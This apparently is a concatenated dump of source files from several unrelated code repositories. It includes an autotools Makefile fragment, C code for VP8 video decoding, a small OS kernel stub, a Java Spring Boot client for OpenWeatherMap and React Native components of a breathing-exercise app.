$(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done check-am: all-am $(MAKE) $(AM_MAKEFLAGS) check-TESTS check: check-am all-am: Makefile $(PROGRAMS) installdirs: install: install-am install-exec: install-exec-am install-data: install-data-am uninstall: uninstall-am install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-am install-strip: $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ `test -z '$(STRIP)' || \ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install mostlyclean-generic: clean-generic: -test -z "$(CLEANFILES)" || rm -f $(CLEANFILES) distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-am clean-am: clean-generic clean-libtool clean-noinstPROGRAMS \ mostlyclean-am distclean: distclean-am -rm -rf ./$(DEPDIR) -rm -f Makefile distclean-am: clean-am distclean-compile distclean-generic \ distclean-tags dvi: dvi-am dvi-am: html: html-am html-am: info: info-am info-am: install-data-am: install-dvi: install-dvi-am install-dvi-am: install-exec-am: install-html: install-html-am install-html-am: install-info: install-info-am install-info-am: install-man: install-pdf: install-pdf-am install-pdf-am: install-ps: install-ps-am install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-am -rm -rf ./$(DEPDIR) -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-am mostlyclean-am: mostlyclean-compile mostlyclean-generic \ mostlyclean-libtool pdf: pdf-am pdf-am: ps: ps-am ps-am: uninstall-am: .MAKE: check-am install-am install-strip .PHONY: CTAGS GTAGS all all-am check check-TESTS check-am clean \ clean-generic clean-libtool clean-noinstPROGRAMS ctags \ distclean distclean-compile distclean-generic \ distclean-libtool distclean-tags distdir dvi dvi-am html \ html-am info info-am install install-am install-data \ install-data-am install-dvi install-dvi-am install-exec \ install-exec-am install-html install-html-am install-info \ install-info-am install-man install-pdf install-pdf-am \ install-ps install-ps-am install-strip installcheck \ installcheck-am installdirs maintainer-clean \ maintainer-clean-generic mostlyclean mostlyclean-compile \ mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \ tags uninstall uninstall-am elementmake.c elementcreate.c elementget.c elementlink.c elementfactory.c: $(top_srcdir)/docs/manual/basics-elements.xml $(PERL_PATH) $(srcdir)/extract.pl $@ \ $(top_srcdir)/docs/manual/basics-elements.xml bin.c : $(top_srcdir)/docs/manual/basics-bins.xml $(PERL_PATH) $(srcdir)/extract.pl $@ \ $(top_srcdir)/docs/manual/basics-bins.xml pad.c ghostpad.c: $(top_srcdir)/docs/manual/basics-pads.xml $(PERL_PATH) $(srcdir)/extract.pl $@ \ $(top_srcdir)/docs/manual/basics-pads.xml gnome.c: $(top_srcdir)/docs/manual/appendix-integration.xml $(PERL_PATH) $(srcdir)/extract.pl $@ \ $(top_srcdir)/docs/manual/appendix-integration.xml helloworld.c: $(top_srcdir)/docs/manual/basics-helloworld.xml $(PERL_PATH) $(srcdir)/extract.pl $@ \ $(top_srcdir)/docs/manual/basics-helloworld.xml init.c: $(top_srcdir)/docs/manual/basics-init.xml $(PERL_PATH) $(srcdir)/extract.pl $@ \ $(top_srcdir)/docs/manual/basics-init.xml query.c: $(top_srcdir)/docs/manual/advanced-position.xml $(PERL_PATH) $(srcdir)/extract.pl $@ \ $(top_srcdir)/docs/manual/advanced-position.xml typefind.c dynamic.c: $(top_srcdir)/docs/manual/advanced-autoplugging.xml $(PERL_PATH) $(srcdir)/extract.pl $@ \ $(top_srcdir)/docs/manual/advanced-autoplugging.xml fakesrc.c: $(top_srcdir)/docs/manual/advanced-dataaccess.xml $(PERL_PATH) $(srcdir)/extract.pl $@ \ $(top_srcdir)/docs/manual/advanced-dataaccess.xml playbin.c decodebin.c: $(top_srcdir)/docs/manual/highlevel-components.xml $(PERL_PATH) $(srcdir)/extract.pl $@ \ $(top_srcdir)/docs/manual/highlevel-components.xml xml-mp3.c: $(top_srcdir)/docs/manual/highlevel-xml.xml $(PERL_PATH) $(srcdir)/extract.pl $@ \ $(top_srcdir)/docs/manual/highlevel-xml.xml # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: <file_sep>COASTcast is a sample application of Computational State Transfer (COAST). COASTcast allows users to deploy streaming video as collections of video services, implemented with COAST mobile code. How to use: ./startup.rkt [--host=HOSTNAME] [--port=PORTNUMBER] [--vhost=VHOSTNAME] [--vport=VPORTNUMBER] [--w=WIDTH] [--h=HEIGHT] [--no-gui] [--no-video] where PORTNUMBER and HOSTNAME are IP ports and DNS names for the local COAST island to assume, VPORTNUMBER and VHOSTNAME are IP ports and DNS addresses naming the COAST island where the camera reading/video encoding service should be sent, WIDTH and HEIGHT specify a width and height to try to use in setting up the camera reading/video encoding service, and --no-gui/--no-video tell the startup script to NOT start the local GUI service or the camera reading/video encoding service. Once a COASTcast stream instance is started, the user may move/share a stream with other COASTcast users, move the camera reading/video encoding service to a new host, compose a picture-in-picture stream out of two others or move/share the user's application state to another user. <file_sep>#include <errno.h> inline void log_err (char *msg) { int i = errno; printf ("error (%s): ", msg); switch (i) { case EINVAL: printf ("EINVAL"); break; case EAGAIN: printf ("EAGAIN"); break; case ENOMEM: printf ("ENOMEM"); break; case EIO: printf ("EIO"); break; default: printf ("unknown error %d", i); } printf ("\n"); } <file_sep>#include "crypto_sign.h" int crypto_sign_get_publickeybytes (void) { return crypto_sign_PUBLICKEYBYTES; } int crypto_sign_get_secretkeybytes (void) { return crypto_sign_SECRETKEYBYTES; } int crypto_sign_get_bytes (void) { return crypto_sign_BYTES; } int crypto_sign_keypair_wrap (unsigned char *pk, unsigned char *sk) { return crypto_sign_keypair (pk, sk); } int crypto_sign_wrap (unsigned char *sm, unsigned long long *smlen, const unsigned char *m, unsigned long long mlen, const unsigned char *sk) { return crypto_sign (sm, smlen, m, mlen, sk); } int crypto_sign_open_wrap (unsigned char *m, unsigned long long *mlen, const unsigned char *sm, unsigned long long smlen, const unsigned char *pk) { return crypto_sign_open (m, mlen, sm, smlen, pk); } <file_sep>#include <stdint.h> #define enc_frame_width 640 #define enc_frame_height 480 #define enc_pic_width 640 #define enc_pic_height 480 #define enc_fps_numerator 30 #define enc_fps_denominator 1 #define enc_quality 48 #define enc_target_bitrate 0 #define enc_keyframe_granule_shift 6 #define FROMFMT_BYTES_PER_PIXEL 2 /* based on pixel format, e.g., * YUYV = 4 bytes per 2 pixels */ #define TOFMT_BYTES_PER_PIXEL 1.5 /* based on pixel format, e.g., *I420 = 3 x 8-bit component * per pixel */ #define PCONV_BUFFER_TOTAL_SIZE (enc_frame_width*enc_frame_height*TOFMT_BYTES_PER_PIXEL) <file_sep>#include <stdlib.h> #include <string.h> #include <stdio.h> #include <stdint.h> #include <assert.h> #include <libswscale/swscale.h> #include <vpx/vpx_decoder.h> #include <vpx/vp8dx.h> #include "misc.h" float PROCESS_FORMAT_BPP = 1.5; float DISPLAY_FORMAT_BPP = 4.0; void vp8dec_get_sizes (float *process, float *display) { *process = PROCESS_FORMAT_BPP; *display = DISPLAY_FORMAT_BPP; } typedef struct ColorConverter { struct SwsContext *sws_ctx; unsigned int width; unsigned int height; } ColorConverter; void color_converter_sz (ColorConverter *c, unsigned int *w, unsigned int *h) { *w = c->width; *h = c->height; } void color_converter_delete (ColorConverter *c) { if (c == NULL) return; if (c->sws_ctx != NULL) free (c->sws_ctx); } ColorConverter* color_converter_new (unsigned int width, unsigned int height) { if (width == 0 || height == 0) return NULL; ColorConverter *c = malloc (sizeof(*c)); if (c == NULL) return NULL; c->sws_ctx = sws_getContext (width, height, PIX_FMT_YUV420P, width, height, PIX_FMT_RGB32, 1, NULL, NULL, NULL); if (c->sws_ctx == NULL) { free (c); return NULL; } c->width = width; c->height = height; return c; } int yuv420p_to_rgb32 (ColorConverter *c, const size_t input_size, const unsigned char *input, const size_t output_size, unsigned char *output) { if (c == NULL) goto bad_size; unsigned int width = c->width; unsigned int height = c->height; if (output_size != width * height * DISPLAY_FORMAT_BPP) goto bad_size; if (input_size != width * height * PROCESS_FORMAT_BPP) goto bad_size; if (width == 0 || height == 0) goto bad_size; const unsigned char *y = input; const unsigned char *u = y + (width * height); const unsigned char *v = u + (width * height / 4); const unsigned char *planes[3] = {y, u, v}; const int strides[3] = {width, width / 2, width / 2}; const int dest_stride[1] = {width * DISPLAY_FORMAT_BPP}; sws_scale (c->sws_ctx, planes, strides, 0, height, &output, dest_stride); return 1; bad_size: return 0; } typedef struct VP8Dec { // vpx data structures preserved between calls vpx_codec_ctx_t *codec; // metadata hand managed by programmer from vpx structs int is_init; } VP8Dec; void vp8dec_delete (VP8Dec *dec) { if (dec == NULL) return; if (dec->codec != NULL) free (dec->codec); free (dec); } VP8Dec* vp8dec_new (void) { VP8Dec *dec = malloc (sizeof (VP8Dec)); if (dec == NULL) { printf ("Could not allocate VP8 decoder container object\n"); return NULL; } dec->codec = malloc (sizeof (vpx_codec_ctx_t)); if (dec->codec == NULL) { printf ("Could not allocate VP8 decoder codec\n"); return NULL; } dec->is_init = 0; return dec; } int vp8dec_init (VP8Dec *dec, const size_t size, const unsigned char *data) { vpx_codec_stream_info_t si; vpx_codec_err_t status; vpx_codec_dec_cfg_t cfg; vpx_codec_flags_t flags = 0; memset (&si, 0, sizeof (si)); si.sz = sizeof (si); status = vpx_codec_peek_stream_info (&vpx_codec_vp8_dx_algo, data, size, &si); if (!si.is_kf) goto not_kf; if (status != VPX_CODEC_OK) goto no_stream_info; cfg.threads = 4; cfg.h = si.h; cfg.w = si.w; status = vpx_codec_dec_init (dec->codec, &vpx_codec_vp8_dx_algo, &cfg, flags); if (status != VPX_CODEC_OK) goto no_init; dec->is_init = 1; return 1; not_kf: /* arises when we've tuned into the middle of a stream. no problem, just wait for a keyframe to arrive. */ return 0; no_stream_info: /* stream info is junk...eventually should give the user a chance to decide whether to continue, but for now just loop */ printf ("Decoder: Error getting stream info: %s\n", vpx_codec_err_to_string (status)); return 0; no_init: /* probably a critical error with VPX itself. don't expect this to happen. */ printf ("Failed to initialize vp8 decoder: %s\n", vpx_codec_err_to_string (status)); return 0; } inline int is_init (VP8Dec *dec) { return 1 == dec->is_init; } inline int conditional_init (VP8Dec *dec, const size_t input_size, const unsigned char *input) { if (!(is_init (dec))) { vp8dec_init (dec, input_size, input); if (!is_init (dec)) { return 0; } } return 1; } unsigned int halve_if_uv (unsigned int plane, unsigned int dimension) { return plane ? (dimension + 1) / 2 : dimension; } /* private to implementation */ int decode_and_scale (VP8Dec *dec, const size_t input_size, const unsigned char *input, const size_t output_size, unsigned char *output) { vpx_image_t *img = NULL; vpx_codec_err_t status; vpx_codec_iter_t iter = NULL; unsigned int w = 0; unsigned int h = 0; unsigned int expected_size = 0; unsigned int plane = 0; unsigned int row = 0; unsigned char *output_cursor = output; unsigned char *decoded_input_cursor = NULL; // only proceed here if we've seen at least one keyframe status = vpx_codec_decode (dec->codec, input, input_size, NULL, 0); if (status != VPX_CODEC_OK) goto no_decode; /* only take first frame. vpx in general allows for multiple frames per pkt but vp8 doesn't use this feature */ if (NULL == (img = vpx_codec_get_frame (dec->codec, &iter))) goto no_decode; w = img->d_w; h = img->d_h; expected_size = w * h * PROCESS_FORMAT_BPP; if (output_size != expected_size) goto bad_size; for (plane = 0; plane < 3; plane++) { decoded_input_cursor = img->planes[plane]; for (row = 0; row < halve_if_uv (plane, img->d_h); row++, decoded_input_cursor += img->stride[plane], output_cursor += halve_if_uv (plane, img->d_w)) { memcpy (output_cursor, decoded_input_cursor, halve_if_uv (plane, img->d_w)); } } return 1; bad_size: printf ("Unexpected buffer size in decode: %d (actual) != %d (expected)\n", output_size, expected_size); return 0; no_decode: printf ("Failed to decode frame: %s\n", vpx_codec_err_to_string (status)); return 0; } /* public. */ int vp8dec_decode_copy (VP8Dec *dec, const size_t input_size, const unsigned char *input, const size_t output_size, unsigned char *output) { // this might fail if we tune into a stream in between keyframes. // in this case we'll just wait until we get one to move past this if block. if ((conditional_init (dec, input_size, input))) { return decode_and_scale (dec, input_size, input, output_size, output); } else return 0; }
804e0b7ef83b4fd12899ba472efc823a286ca52d
[ "JavaScript", "Makefile", "Java", "Text", "C", "Shell" ]
43
Makefile
cha63506/CRESTaceans
a0d24fd3e93fc39eaf25a0b5df90ce1c4a96ec9b
6ec436d1bcb0256e17499ea9eccd5c034e9158bf
refs/heads/master
<repo_name>RusFjord/EOS<file_sep>/kernel/kernel.c /* * kernel.c */ #include "../lib/string.h" #include "../drivers/screen.h" void kmain(void) { const char *str = "EOS, version 0.0.1"; screen_init(); /* Вывод наименования ОС и версии ядра */ print_string(0, 0, str); return; }<file_sep>/Makefile BUILD_DIR=./build CC=/usr/bin/gcc CC_FLAGS=-m32 -c ASM=/usr/bin/nasm ASM_FLAGS=-f elf32 LD=/usr/bin/ld MKDIR=mkdir -p RM=rm -f -r OBJECTS=$(wildcard $(BUILD_DIR)/*.o) project_structure: ${MKDIR} ${BUILD_DIR} library: boot make -C ./lib drivers: library make -C ./drivers boot: project_structure boot/boot.asm ${ASM} ${ASM_FLAGS} boot/boot.asm -o ${BUILD_DIR}/boot.o kernel: project_structure make -C ./kernel link: boot kernel library drivers link.ld ${LD} -m elf_i386 -T link.ld -o ${BUILD_DIR}/kernel.bin $(OBJECTS) iso: link ${MKDIR} ${BUILD_DIR}/isofiles/boot/grub cp boot/grub.cfg ${BUILD_DIR}/isofiles/boot/grub cp ${BUILD_DIR}/kernel.bin ${BUILD_DIR}/isofiles/boot grub-mkrescue -o ${BUILD_DIR}/simpleos.iso ${BUILD_DIR}/isofiles qemu: iso qemu-system-i386 build/simpleos.iso qemu_cd: iso qemu-system-i386 -cdrom build/simpleos.iso clean: ${RM} ${BUILD_DIR}/*
d73a92ba8a0eaf5f98c0b0a3b3a00a4c57b38161
[ "C", "Makefile" ]
2
C
RusFjord/EOS
bbc1979212ea15b1e5319676a3ae7bdb1341d414
0d7f607be71765eba2a0d8bf0d69eceb5e512780
refs/heads/master
<file_sep>#!/bin/bash service nginx start cd /app && node server.js tail -f /dev/null <file_sep>FROM rowsheet/public_docker_base:v0.0.1 # Install nginx. RUN apt-get -y update RUN apt-get -y upgrade RUN apt-get -y update RUN apt-get install -y nginx # Copy the nginx config. COPY ./nginx_config /etc/nginx/sites-available/default # Copy the app. COPY ./app /app RUN cd /app && npm install # Setup entrypoint. COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh RUN chmod 755 /usr/local/bin/docker-entrypoint.sh RUN ln -s /usr/local/bin/docker-entrypoint.sh / # backwards compat ENTRYPOINT ["docker-entrypoint.sh"] CMD ["postgres"] <file_sep># Web Base Base webpage Landing page (using NodeJS and expressJS). ### By Rowsheet <file_sep>REPO_NAME=web_base SERVICE_NAME=dev--$REPO_NAME echo REPO_NAME:$REPO_NAME echo SERVICE_NAME:$SERVICE_NAME #------------------------------------------------------------------------------- # Remove the old service. #------------------------------------------------------------------------------- docker service rm $SERVICE_NAME #------------------------------------------------------------------------------- # Build the new image. #------------------------------------------------------------------------------- docker build -t rowsheet/$REPO_NAME:dev . #------------------------------------------------------------------------------- # Source credentials. #------------------------------------------------------------------------------- source ./creds docker service create \ --env PORT="$PORT" \ --publish 8005:80 \ --name $SERVICE_NAME \ rowsheet/$REPO_NAME:dev
fa1441c29034ed9e653693d05be4f70d0f9ff28d
[ "Markdown", "Dockerfile", "Shell" ]
4
Shell
rowsheet/web_base
fc042e0f3bb14889ad7606590e10b05f25d094f5
288a009e2f7716261bbbe70e06e3ee03ef4a1dd8
refs/heads/master
<file_sep>Information =========== Order a content type to the first position after creation<file_sep>def order(event): """ """ context=event.object parent=context.aq_parent portal=context.getAdapter('portal')() tcconfig=portal.getBrowser('tcconfig') config=tcconfig.get('_firstaftercreate') if context.portal_type in config.get('portal_type',[]): parent.moveObjectToPosition(context.getId(),0)
96be216140e537446f559d27a09a28c48050a007
[ "Python", "reStructuredText" ]
2
reStructuredText
tomcom-de/tomcom.products.firstaftercreate
ec171a378ff0f541d0cab3e5a30c621e2ca2dd0e
6074d4ebd7479c377c5afafab480a96bbe71d53b
refs/heads/master
<file_sep>package com.example.openweatherrestapi; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; import java.text.DecimalFormat; import java.util.List; import java.util.Map; @JsonIgnoreProperties(ignoreUnknown = true) public class WeatherItem { private DecimalFormat df = new DecimalFormat("#.##"); private String name; private double temperature; private double minTemperature; private double maxTemperature; private Integer pressure; private Integer humidity; private double speed; private Integer weatherId; private String icon; public String getName() { return this.name; } public void setName(String name) { this.name = name; } public double getTemperature() { return this.temperature; } public void setTemperature(double temperature) { this.temperature = Double.parseDouble(df.format(temperature-273.15)); } public double getMinTemperature() { return minTemperature; } public void setMinTemperature(double minTemperature) { this.minTemperature = Double.parseDouble(df.format(minTemperature-273.15)); } public double getMaxTemperature() { return maxTemperature; } public void setMaxTemperature(double maxTemperature) { this.maxTemperature = Double.parseDouble(df.format(maxTemperature-273.15)); } public Integer getPressure() { return pressure; } public void setPressure(Integer pressure) { this.pressure = pressure; } public Integer getHumidity() { return humidity; } public void setHumidity(Integer humidity) { this.humidity = humidity; } public void setMain(Map<String, Object> main) { setTemperature(Double.parseDouble(main.get("temp").toString())); setMinTemperature(Double.parseDouble(main.get("temp_min").toString())); setMaxTemperature(Double.parseDouble(main.get("temp_max").toString())); setHumidity((Integer)main.get("humidity")); setPressure((Integer)main.get("pressure")); } public double getSpeed() { return speed; } public void setSpeed(double speed) { this.speed = speed; } public void setWind(Map<String, Object> wind) { setSpeed(Double.parseDouble(wind.get("speed").toString())); } public Integer getWeatherId() { return this.weatherId; } public void setWeatherId(Integer weatherId) { this.weatherId = weatherId; } public String getIcon() { return this.icon; } public void setIcon(String weatherIcon) { this.icon = weatherIcon; } public void setWeather(List<Map<String, Object>> weatherItems) { Map<String, Object> weather = weatherItems.get(0); setWeatherId((Integer) weather.get("id")); setIcon((String) weather.get("icon")); } }<file_sep># openweather-rest-api Приложение Rest API (Java, Spring Boot) для доступа к OpenWeatherMap. Позволяет получить JSON с данными о сегодняшней погоде в любом городе. Для использования нужно внести OpenWeatherMap API key в application.properties. В определённых случаях может появляться исключение "java.net.ConnectException", являющееся результатом съеденных пакетов. Скорее всего, вызвано фаерволом на стороне провайдера или самого OpenWeatherMap. Решается подключением VPN. <file_sep>package com.example.openweatherrestapi; import org.springframework.http.HttpMethod; import org.springframework.http.MediaType; import org.springframework.http.RequestEntity; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Service; import org.springframework.web.client.RestTemplate; import org.springframework.web.util.UriTemplate; import java.net.URI; import java.util.ResourceBundle; @Service public class WeatherService { private static final String WEATHER_URL = "http://api.openweathermap.org/data/2.5/weather?q={city}&APPID={key}"; private RestTemplate restTemplate; private ResourceBundle propertiesBundle = ResourceBundle.getBundle("application"); public WeatherService() { restTemplate = new RestTemplate(); } public WeatherItem getWeather(String city) { String key = propertiesBundle.getString("openweatherapi.key"); URI url = new UriTemplate(WEATHER_URL).expand(city, key); RequestEntity<?> request = RequestEntity.get(url) .accept(MediaType.APPLICATION_JSON).build(); ResponseEntity<WeatherItem> response = this.restTemplate .exchange(url, HttpMethod.GET, request, WeatherItem.class); return response.getBody(); } }<file_sep>openweatherapi.key={Внесите ваш ключ и удалите скобки}
6581d3f58ceca9576f294237a79094e7951a9900
[ "Markdown", "Java", "INI" ]
4
Java
alexdft7/openweather-rest-api
934409b5214a79d7b28fe1bf16fd9fbec7c04d7f
0a6dea880ccc0989d9259f2439d9a0ed5a4ca532
refs/heads/main
<repo_name>mateobou/zenMind<file_sep>/Component/Home/home.js import { createBottomTabNavigator } from '@react-navigation/bottom-tabs'; import { createStackNavigator } from '@react-navigation/stack'; import React from 'react'; import { StyleSheet, View } from 'react-native'; import CompteRebour from '../counter/CompteRebour'; import saveRespiration from '../saveRespiration/saveRespiration'; import EditInspiration from '../test_setTimer/editInspiration'; import BackgroundD from './Background'; import Breathing from './Breathing'; import BreathSettings from './BreathSettings'; import choseRespiration from './choseRespiration'; import Respiration from './Respiration'; import TimeChoice3 from './TimeChoiceVertical'; function Home(){ const Stack = createStackNavigator(); const Tab = createBottomTabNavigator(); return( <View style={styles.fullWidth}> <Stack.Navigator> <Stack.Screen name="Home" component={BackgroundD} options={{headerShown:false}}/> <Stack.Screen name="Respiration" component={choseRespiration}/> <Stack.Screen name="Énergie"> {props => <Respiration name="Énergie"/>} </Stack.Screen> <Stack.Screen name="Sommeil"> {props => <Respiration name="Sommeil"/>} </Stack.Screen> <Stack.Screen name="Calme" component={TimeChoice3}> </Stack.Screen> <Stack.Screen name="Personnalisée" component={BreathSettings} options={{headerTitle:'Paramétrer sa respiration'}}/> <Stack.Screen name="Breath" component={CompteRebour} options={{headerTitle:'Respirer'}}/> <Stack.Screen name="Breathing" component={Breathing} options={{headerShown: false, tabBarVisible:false}}/> <Stack.Screen name="Edit" component={EditInspiration}/> <Stack.Screen name="saveRespiration" component={saveRespiration}/> </Stack.Navigator> </View> ) } export default Home; const styles = StyleSheet.create({ home:{ width:400, flex:1, alignItems:'center', justifyContent:'center', }, fullWidth:{ width:'100%', flex:1, display:"flex", justifyContent:'center', } })<file_sep>/Component/Home/Breathing.js import * as React from 'react'; import { Dimensions, Text, View, StyleSheet, Pressable, } from 'react-native'; import sunsetBackground from './../../images/bg3.png' import BreathProgressBar from './../Respiration/ProgressBar' import Lot from './Lottie'; import ImageBackground from 'react-native/Libraries/Image/ImageBackground'; import Energie from "./../../images/energiser.jpg"; import Endurance from "./../../images/endurance.jpg"; import Stress from './../../images/Stress.jpg' import Counter from '../Respiration/Counter'; import Message from '../Respiration/Message'; import { ZenContext } from '../context/zenMindContext'; import { useIsFocused } from '@react-navigation/native'; import soundTest from '../soundTest/soundTest'; import SoundTest from '../soundTest/soundTest'; const { width } = Dimensions.get('window'); const colors = { black: '#323F4E', red: '#F76A6A', text: '#ffffff', }; const ITEM_SIZE = width * 0.38; export default function Breathing({navigation,route}) { const isFocused = useIsFocused() let title; const [sound, setSound] = React.useState(); route.params === undefined ? title="Personnalisée":title= route.params.title; let {updateNumberOfRound,breathStart} = React.useContext(ZenContext) return ( <> <View style={styles.container}> <ImageBackground source={title==="Respirer pour …\ngagner en énergie"? Energie : title==="Respirer pour …\nrécupérer"? Endurance : title==="Respirer pour …\ngérer son stress"? Stress:title==='Personnaliser vos séances' ?title===undefined || title===null :sunsetBackground} style={{width:"100%", height:"100%"}}> <BreathProgressBar/> <Counter func={console.log("hello")}/> <Message/> <SoundTest/> <Pressable style={{backgroundColor:'white',width:'40%', height:'7%',borderRadius:5,display:'flex',alignItems:'center',justifyContent:'center',marginHorizontal:'30%',position:'absolute', bottom:50}} onPress={()=>{ navigation.navigate("Home") updateNumberOfRound(1) }}><Text style={{fontWeight:'bold'}}>Sortir</Text></Pressable> </ImageBackground> </View> </> ); } const styles = StyleSheet.create({ container: { flex:1, backgroundColor: colors.black, justifyContent:'center', alignItems:'center' }, text: { fontSize: ITEM_SIZE * 0.2, fontFamily: 'Menlo', color: colors.text, fontWeight: '900', marginTop:20, width:"100%", textAlign:"center", color:'black' }, time:{ fontSize: ITEM_SIZE * 0.15, fontFamily: 'Menlo', color: colors.text, fontWeight: '900', marginTop:20, marginBottom:20, width:"100%", textAlign:"center", color:'black' }, message:{ fontSize: ITEM_SIZE * 0.1, fontFamily: 'Menlo', color: "black", fontWeight: '600', width:"100%", textAlign:"center" }, text_back:{ fontSize: ITEM_SIZE * 0.4, fontFamily: 'Menlo', color: colors.text, fontWeight: '900', width:"100%", textAlign:'center', marginBottom: 20, position:"relative", top:-500 } }); <file_sep>/Component/Home/SaveBreathing.js import React, { useContext } from 'react'; import LineSettings from './Line'; import Breath from './../../images/breath.png' import { Button, StyleSheet, Text, View } from 'react-native'; import { useNavigation } from '@react-navigation/core'; import Dropdown from '../test_setTimer/Picker'; import TimeChoice from './timeChoice'; import TimeChoice2 from './TimeChoice2'; import Pressable from 'react-native/Libraries/Components/Pressable/Pressable'; import { ZenContext } from '../context/zenMindContext'; import { TextInput } from 'react-native-gesture-handler'; function SaveBreathing() { return( <View> <TextInput value="Hello world!"/> </View> ) } export default SaveBreathing; const styles = StyleSheet.create({ Bouton:{ backgroundColor:'#007AFF', width: "40%", height:40, display:'flex', justifyContent:'center', alignItems:'center', borderRadius:7, marginTop:60, }, background:{ width:"100%", display:'flex', justifyContent:"center", alignItems:"center", }, text:{ color:'white', }, view:{ height:"90%", display:'flex', justifyContent:'center', alignItems:'center' } })<file_sep>/Component/Test respiration/Test.js import React, { useContext, useState , useEffect } from 'react'; import {StyleSheet, Text,View,Pressable, Modal, Image} from 'react-native'; import Head from './Header' import Moine from "./../../images/Moine.png" import { ZenContext } from '../context/zenMindContext'; import TestModal from '../Modal/TestModal'; import Circle from './Animations/Circle'; import Yoga from './Animations/Yoga'; import { useMMKVStorage } from 'react-native-mmkv-storage'; export default function Test(){ const [boolTest, setBoolTest]= useState(false) const [timer, updateTimer] = useState(0) const [progress, updateProgress]= useState(60-timer) const [Interval, updateInterval] = useState(); let {numberCycle, setNumberCycle, palettes} = useContext(ZenContext) const [modalVisible,setModalVisible] = useState(false); useEffect(() => { if(boolTest===true && timer <60) { updateInterval(setInterval(() => { updateTimer(timer+1); console.log(timer) updateProgress(timer) }, 1000)); return ()=>clearInterval(Interval) } else if (timer >= 60){ setBoolTest(false) clearInterval(Interval) updateTimer(0) updateProgress(0) setBoolTest(false) setModalVisible(true) } },[timer,boolTest]) useEffect(()=>{ return ()=>{ clearInterval(Interval) updateTimer(0) updateProgress(0) setModalVisible(false) setBoolTest(false) updateProgress(0) } },[]) return( <View> <View style={styles.history}> <Head boolTest={boolTest} progress={progress}/> {boolTest===true && <Text style={{textAlign:'center', marginTop:10}}>Pour compter vos respirations, {"\n"}touchez l’écran lors de chaque inspiration</Text>} <Text>Nombre de cycles : {numberCycle}</Text> <Pressable style={{height:350,width:"100%",zIndex:2}} onPress={()=>{ boolTest===true && setNumberCycle(numberCycle+1) }}> <Circle style={styles.yoga} numberCycle={numberCycle}/> <Yoga boolTest={boolTest}/> </Pressable> {boolTest===false && <Pressable style={{...styles.pressable,backgroundColor:palettes.paletteVerte.button}} onPress={()=>{ setBoolTest(true); setModalVisible(false) }}><Text style={{...styles.text_button, color:palettes.paletteVerte.text}}>Lancer</Text></Pressable>} </View> <TestModal numberCyc={numberCycle} Moine={Moine} modalVisible={modalVisible}/> </View> ); } const styles = StyleSheet.create({ history:{ width:'100%', display:'flex', justifyContent:'center', alignItems:'center' }, text_button:{ fontSize:14, textAlign:'center', fontWeight:'bold' }, pressable:{ backgroundColor:'#FFBDAF', width:165, height:40, borderRadius:7, display:'flex', justifyContent:'center', marginTop:"10%", zIndex:1 }, })<file_sep>/Component/context/zenMindContext.js import React, { useEffect, useState } from "react"; import MMKVStorage, { useMMKVStorage } from "react-native-mmkv-storage"; export const ZenContext = React.createContext(); const ZenProvider = function ({ children }) { const MMKV = new MMKVStorage.Loader().initialize(); //variables /*Types de respirations : [ [0,binaire], [1,triangle], [2,triangle inversé], [3,carré], ]*/ let [numberOfRound, updateNumberOfRound] = useState(1); let [typeDeRespiration, updateTypeDeRespiration] = useState(0); let [inspirationIsActive, updateInspirationIsActive] = useState(true); let [expirationIsActive, updateExpirationIsActive] = useState(false); let [nombreRound, updatenombreRound] = useState(1); let [inspirationSauvegarde, updateInspirationSauvegarde]= useState(1); let [expirationSauvegarde, updateExpirationSauvegarde]= useState(1); let [apnéeSauvegarde, updateApnéeSauvegarde]= useState(1); let [breathStart, updateBreathStart] = useState(false) let [apnée, updateApnée]= useState(apnéeSauvegarde); const [feedbackHistory, setFeedbackHistory] = useMMKVStorage("history", MMKV); const [breathList, setBreathList] = useMMKVStorage("breathing", MMKV); const [Test, setTest] = useMMKVStorage("Test", MMKV); const [nameBreath, setNameBreath] = useState() const [numberCycle, setNumberCycle] = useState(0) if (breathList === undefined || breathList===null) { setBreathList([{name:"Prenez l'air", destination:'Respiration'}]) } //variables end /*État du timer*/ //Inspiration temps par cycle : let [inspiration, updateInspiration] = useState(inspirationSauvegarde); let [expiration, updateExpiration] = useState(expirationSauvegarde); const [valueFeedback,updateValueFeedback] = useState(1); const [feedback,setFeedback] = useState(); let [etat, updateEtat] = useState("C'est parti !"); const palettes = { paletteVerte:{ button:"#DEF7FF", text:"#24442A", icons:"#3A8DAA" }, palette2: { button:"#FFB7A8", text:"#FFB7A8", 